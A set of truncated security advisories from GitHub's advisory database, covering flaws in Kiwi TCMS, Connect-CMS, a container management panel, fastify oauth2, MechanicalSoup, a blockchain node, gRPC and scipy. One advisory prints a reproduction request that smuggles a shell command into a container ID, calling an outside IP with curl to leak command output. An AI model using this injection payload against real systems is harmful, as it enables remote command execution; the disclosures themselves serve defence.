Source
ghsa
### Impact Kiwi TCMS allows users to upload attachments to test plans, test cases, etc. Earlier versions of Kiwi TCMS had introduced changes which were meant to serve all uploaded files as plain text in order to prevent browsers from executing potentially dangerous files when such files are accessed directly! The previous Nginx configuration was incorrect allowing certain browsers like Firefox to ignore the `Content-Type: text/plain` header on some occasions thus allowing potentially dangerous scripts to be executed. Additionally file upload validators and parts of the HTML rendering code have been found to require additional sanitation and improvements. ### Patches - Updated Nginx content type configuration - Improved file upload validation code to prevent more potentially dangerous uploads - Sanitization of test plan names used in the `tree_view_html()` function ### References Disclosed by [M Nadeem Qazi](https://huntr.dev/bounties/511489dd-ba38-4806-9029-b28ab2830aa8/) and ...
### Impact There is a Privilege Escalation Vulnerability on the management system of Connect-CMS. Affercted Version : Connect-CMS 1.7.1, 2.3.1 and earlier ### Patches version 1.7.2, 2.3.2 ### Workarounds Upgrade Connect-CMS to latest version
### Impact The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. 1. Vulnerability analysis. ``` backend\app\api\v1\terminal.go#ContainerWsSsh ``` ![image](https://user-images.githubusercontent.com/46734380/249119420-045ec192-250d-4d07-a69e-0bd794cddec7.png) 2. vulnerability reproduction. ``` GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://192.168.109.152:40982 Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ== Connection: keep-alive, Upgrade Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ``` 3. The su...
### Impact The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. 1. Vulnerability analysis. ``` backend\app\api\v1\image_repo.go#create ``` ![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png) ``` backend\app\service\image_repo.go#CheckConn ``` ![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png) 2. vulnerability reproduction. ``` POST /api/v1/containers/repo HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 446 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession...
### Impact All versions of @fastify/oauth2 used a statically generated `state` parameter at startup time and were used across all requests for all users. The purpose of the Oauth2 `state` parameter is to prevent Cross-Site-Request-Forgery attacks. As such, it should be unique per user and should be connected to the user's session in some way that will allow the server to validate it. ### Patches v7.2.0 changes the default behavior to store the `state` in a cookie with the `http-only` and `same-site=lax` attributes set. The state is now by default generated for every user. Note that this contains a breaking change in the `checkStateFunction` function, which now accepts the full `Request` object. ### Workarounds There are no known workarounds. ### References * [Prevent Attacks and Redirect Users with OAuth 2.0 State Parameters](https://auth0.com/docs/secure/attack-protection/state-parameters)
### Summary A malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. ### Details This affects the extremely common pattern of form submission: ```python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected() ``` The problem is with the code in `browser.Browser.get_request_kwargs`: ```python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) ``` The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malici...
### Impact The mempool maintains two data structures to keep track of outstanding transactions: a list and a map. These two data structures are supposed to be in sync all the time in the sense that the map tracks the index (if any) of the transaction in the list. Unfortunately, it is possible to have them out of sync. When this happens, the list may contain several copies of the same transaction. Because the map tracks a single index, it is then no longer possible to remove all the copies of the transaction from the list. This happens even if the duplicated transaction is later committed in a block. The only way to remove the transaction is by restarting the node. These are the steps to cause the above duplication problem. Everything should happen within one height, that is no `FinalizeBlock` or `BeginBlock` ABCI calls should happen while these steps are reproduced: 1. send transaction tx1 to the target full node via RPC 2. send N more different transactions to the target full no...
### Impact An internal modification to the way struct `PeerState` is serialized to JSON introduced a deadlock when new function MarshallJSON is called. This function can be called from two places: 1. Via logs * Setting the `consensus` logging module to "debug" level (should not happen in production), and * Setting the log output format to JSON 2. Via RPC `dump_consensus_state` Case 1 above, which should not be hit in production, will eventually hit the deadlock in most goroutines, effectively halting the node. In case 2, only the data structures related to the first peer will be deadlocked, together with the thread(s) dealing with the RPC request(s). This means that only one of the channels of communication to the node's peers will be blocked. Eventually the peer will timeout and excluded from the list (typically after 2 minutes). The goroutines involved in the deadlock will not be garbage collected, but they will not interfere with the system after the peer is excluded. T...
When gRPC HTTP2 stack raised a header size exceeded error, it skipped parsing the rest of the HPACK frame. This caused any HPACK table mutations to also be skipped, resulting in a desynchronization of HPACK tables between sender and receiver. If leveraged, say, between a proxy and a backend, this could lead to requests from the proxy being interpreted as containing headers from different proxy clients - leading to an information leak that can be used for privilege escalation or data exfiltration. We recommend upgrading beyond the commit contained in https://github.com/grpc/grpc/pull/32309
A refcounting issue which leads to potential memory leak was discovered in scipy commit 8627df31ab in `Py_FindObjects()` function.